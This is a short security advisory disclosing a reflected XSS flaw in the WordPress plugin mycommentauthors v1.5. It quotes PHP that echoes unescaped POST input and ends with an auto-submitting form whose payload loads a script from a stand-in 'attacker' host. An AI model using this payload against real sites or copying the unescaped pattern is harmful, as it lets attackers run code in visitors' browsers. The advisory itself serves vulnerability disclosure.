Advisory #: 1209
Title: Reflected XSS in wordpress plugin mycommentauthors v1.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/mycommentauthors
Downloads: 534
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: mycommentauthors
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./mycommentauthors/mca-home.php: 117: <td><input name="ltype" type="text" id="ltype" value="<?php if(isset($_POST['ltype'])) { echo $_POST['ltype']; } else { echo"20"; } ?>" size="1" maxlength="3" /> 138: <td><input name="mca_page_break" type="text" id="mca_page_break" value="<?php if(isset($_POST['mca_page_break'])) { echo $_POST['mca_page_break']; } else { echo"0"; } ?>" size="3" maxlength="3" /></td> The variable ltype appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./mycommentauthors/mca-home.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/mycommentauthors/mca-home.php method=post> <input type=hidden name=ltype value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>